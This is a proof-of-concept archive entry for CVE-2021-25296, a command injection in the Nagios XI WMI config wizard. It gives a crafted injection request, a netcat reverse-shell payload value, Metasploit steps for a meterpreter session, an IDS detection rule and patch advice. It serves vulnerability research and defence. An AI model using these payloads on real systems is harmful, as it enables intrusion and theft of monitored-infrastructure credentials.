Nagios XI 5.5.6–5.7.5 Authenticated OS Command Injection — Windows WMI Config Wizard (CVE-2021-25296)
by Matthew Mathur (Rapid7) — Metasploit module; original bug report by fs0c-sh · 2026-07-11
- Severity
- High
- CVE
- CVE-2021-25296
- Category
- web
- Affected product
- Nagios XI — Windows WMI monitoring configuration wizard
- Affected versions
- Nagios XI 5.5.6 through 5.7.5
- Disclosed
- 2026-07-11
- Patch status
- patched
Tags
References
- https://nvd.nist.gov/vuln/detail/CVE-2021-25296
- https://www.cisa.gov/known-exploited-vulnerabilities-catalog
- http://packetstormsecurity.com/files/170924/Nagios-XI-5.7.5-Remote-Code-Execution.html
- https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/nagios_xi_configwizards_authenticated_rce.rb
- https://www.rapid7.com/db/modules/exploit/linux/http/nagios_xi_configwizards_authenticated_rce/
- https://github.com/fs0c-sh/nagios-xi-5.7.5-bugs/blob/main/README.md
- https://github.com/projectdiscovery/nuclei-templates/pull/6615
Archive entry
intelseclab/poc-archiveMetadata
| Field | Value |
|---|---|
| Date Added | 2026-07-11 |
| Last Updated | N/A |
| Author / Researcher | Matthew Mathur (Rapid7) — Metasploit module; original bug report by fs0c-sh |
| CVE / Advisory | CVE-2021-25296 |
| Category | web |
| Severity | High |
| CVSS Score | 8.8 (CVSS 3.1, AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) |
| Status | Weaponized (public Metasploit module + nuclei templates, in CISA KEV) |
| Tags | nagios-xi, os-command-injection, authenticated, config-wizard, windowswmi, cwe-78, kev, metasploit |
| Related | Same disclosure, distinct injection points in the same authenticated RCE chain: 2026-07-11_cve-2021-25297-nagios-xi-switch-command-injection (switch config wizard), 2026-07-11_cve-2021-25298-nagios-xi-cloudvm-command-injection (cloud-vm config wizard). All three share the same vulnerability class, the same authenticated HTTP entry point (monitoringwizard.php), and the same public Metasploit module. |
Affected Target
| Field | Value |
|---|---|
| Software / System | Nagios XI — Windows WMI monitoring configuration wizard |
| Versions Affected | Nagios XI 5.5.6 through 5.7.5 |
| Language / Platform | PHP (Apache/CentOS-based Nagios XI appliance) |
| Authentication Required | Yes — any valid Nagios XI user account (admin or non-admin) |
| Network Access Required | Yes |
Summary
Nagios XI’s “Windows WMI” configuration wizard (/usr/local/nagiosxi/html/includes/configwizards/windowswmi/windowswmi.inc.php) builds a WMI-check shell command using several attacker-supplied HTTP parameters, including plugin_output_len. The value is never validated as an integer (despite its name implying a numeric length) and is concatenated directly into a string later passed to PHP’s exec(). Any authenticated Nagios XI user — including a low-privileged, non-admin account — can submit a crafted plugin_output_len value containing shell metacharacters to the wizard’s step-3 request and execute arbitrary OS commands as the apache user. This is one of three sibling command-injection bugs (CVE-2021-25296/25297/25298) disclosed together, each in a different config wizard, all reachable through the same monitoringwizard.php endpoint.
Vulnerability Details
Root Cause
Inside windowswmi.inc.php, the wizard assembles a WMI diagnostic command that is executed via exec($disk_wmi_command, $disk_output, $disk_return_var). The plugin_output_len HTTP parameter is spliced into $disk_wmi_command without sanitization or type coercion (it should be cast to an integer but is used as a raw string). An attacker can append a ;-separated shell command to the numeric-looking value and have it executed alongside the intended WMI check.
Attack Vector
An authenticated GET request to /nagiosxi/config/monitoringwizard.php with wizard=windowswmi, nextstep=3, a valid CSRF nsp token for the session, and a plugin_output_len parameter of the form <digits>; <command>;. Per the public Metasploit module and the PacketStorm advisory, a representative injected value is:
plugin_output_len=1024; nc -e /bin/sh 127.0.0.1 4444;
No admin privileges are required — any valid, low-privileged Nagios XI login is sufficient, satisfying PR:L in the CVSS vector.
Impact
Remote code execution as the apache user on the Nagios XI host, which typically has broad read/write access to Nagios configuration, credentials for monitored infrastructure (SNMP communities, WMI/Windows admin creds entered into other wizards, cloud provider API tokens), and often a path to root via local Nagios XI privilege-escalation issues.
Environment / Lab Setup
OS: Official Nagios XI OVA/ISO, versions 5.5.6 - 5.7.5 (tested against CentOS 7 minimal per the Metasploit module notes)
Target: Nagios XI web UI at https://<target>/nagiosxi/
Attacker: Metasploit Framework 6.x, or curl/Python with a valid Nagios XI login
Tools: msfconsole, curl, Burp Suite
Setup Steps
| |
Proof of Concept
Step-by-Step Reproduction
Authenticate — Log in to Nagios XI with any valid user account to obtain session cookies and extract the CSRF
nsptoken embedded in the authenticated pages (the Metasploit module’sauthenticate()helper does this automatically).Trigger the Windows WMI wizard, step 3 — Send an authenticated
GETrequest tomonitoringwizard.phpwith the wizard-specific parameters, injecting a shell command viaplugin_output_len:1 2 3GET /nagiosxi/config/monitoringwizard.php?update=1&nsp=<csrf_token>&nextstep=3&wizard=windowswmi&ip_address=203.0.113.7&domain=CORP&username=svc&password=svc&plugin_output_len=1024%3B%20id%3B HTTP/1.1 Host: <target> Cookie: <auth_cookies>Observe execution — The Nagios XI backend runs
exec($disk_wmi_command, ...), which now also executes the injectedid;(or reverse-shell one-liner) as theapacheuser. The HTTP response may hang or time out if the injected command does not return, which is expected when using a reverse-shell payload.
Exploit Code
See nagios_xi_configwizards_authenticated_rce.rb in this folder — mirrored verbatim from the public Rapid7 Metasploit module exploit/linux/http/nagios_xi_configwizards_authenticated_rce, which supports all three sibling CVEs via a TARGET_CVE datastore option. For CVE-2021-25296 it builds the request as follows (excerpted from that module source):
| |
Usage:
msf6 > use exploit/linux/http/nagios_xi_configwizards_authenticated_rce
msf6 exploit(...) > set TARGET_CVE CVE-2021-25296
msf6 exploit(...) > set RHOSTS <target>
msf6 exploit(...) > set USERNAME <nagios_user>
msf6 exploit(...) > set PASSWORD <nagios_pass>
msf6 exploit(...) > set PAYLOAD linux/x64/meterpreter/reverse_tcp
msf6 exploit(...) > run
Expected Output
[*] Sending the payload...
[*] Command shell session / Meterpreter session opened
uid=48(apache) gid=48(apache) groups=48(apache)
Detection & Indicators of Compromise
"GET /nagiosxi/config/monitoringwizard.php?...&wizard=windowswmi&...&plugin_output_len=1024%3B%20id%3B... HTTP/1.1" 200
SIEM / IDS Rule (example):
alert http any any -> any any (msg:"Nagios XI CVE-2021-25296 windowswmi command injection attempt"; content:"wizard=windowswmi"; http_uri; content:"plugin_output_len="; http_uri; pcre:"/plugin_output_len=\d+%3[bB]/U"; sid:9000101;)
Remediation
| Action | Detail |
|---|---|
| Patch | Upgrade to Nagios XI 5.8.0 or later, which validates/sanitizes config-wizard parameters before shell execution. |
| Workaround | Restrict Nagios XI web UI access to trusted admin networks; disable or remove unused config wizards; enforce least-privilege Nagios XI accounts. |
| Config Hardening | Front the Nagios XI web UI with a WAF rule blocking shell metacharacters in monitoringwizard.php query parameters (see nuclei-templates PR referenced below for an active-check detection template). |
References
- CVE-2021-25296 — NVD
- CISA Known Exploited Vulnerabilities Catalog (added 2022-01-18)
- PacketStorm — Nagios XI 5.7.5 Remote Code Execution
- Rapid7 Metasploit module — nagios_xi_configwizards_authenticated_rce.rb
- Rapid7 module database entry
- fs0c-sh original bug report
- projectdiscovery/nuclei-templates PR #6615
Notes
Surfaced via a CVE discovery pass (NVD + CISA KEV + EPSS scoring) on 2026-07-11 and ingested from public sources — this entry was not independently reproduced against a live Nagios XI instance in this repository; the request shape and vulnerable parameter (plugin_output_len) are grounded directly in the actual Rapid7 Metasploit module source (fetched from rapid7/metasploit-framework on GitHub) and corroborated by the PacketStorm/fs0c-sh technical write-up, which independently confirms the same parameter and exec() sink. EPSS score at time of ingestion: 0.715. This CVE has been in the CISA KEV catalog since 2022-01-18, confirming in-the-wild exploitation.
Cross-reference: CVE-2021-25297 (switch wizard, address/ip_address parameter) and CVE-2021-25298 (cloud-vm wizard, address/ip_address parameter) were disclosed as part of the same batch and share the same authenticated entry point, CSRF-token retrieval flow, and Metasploit module — see the sibling entries linked above.
| |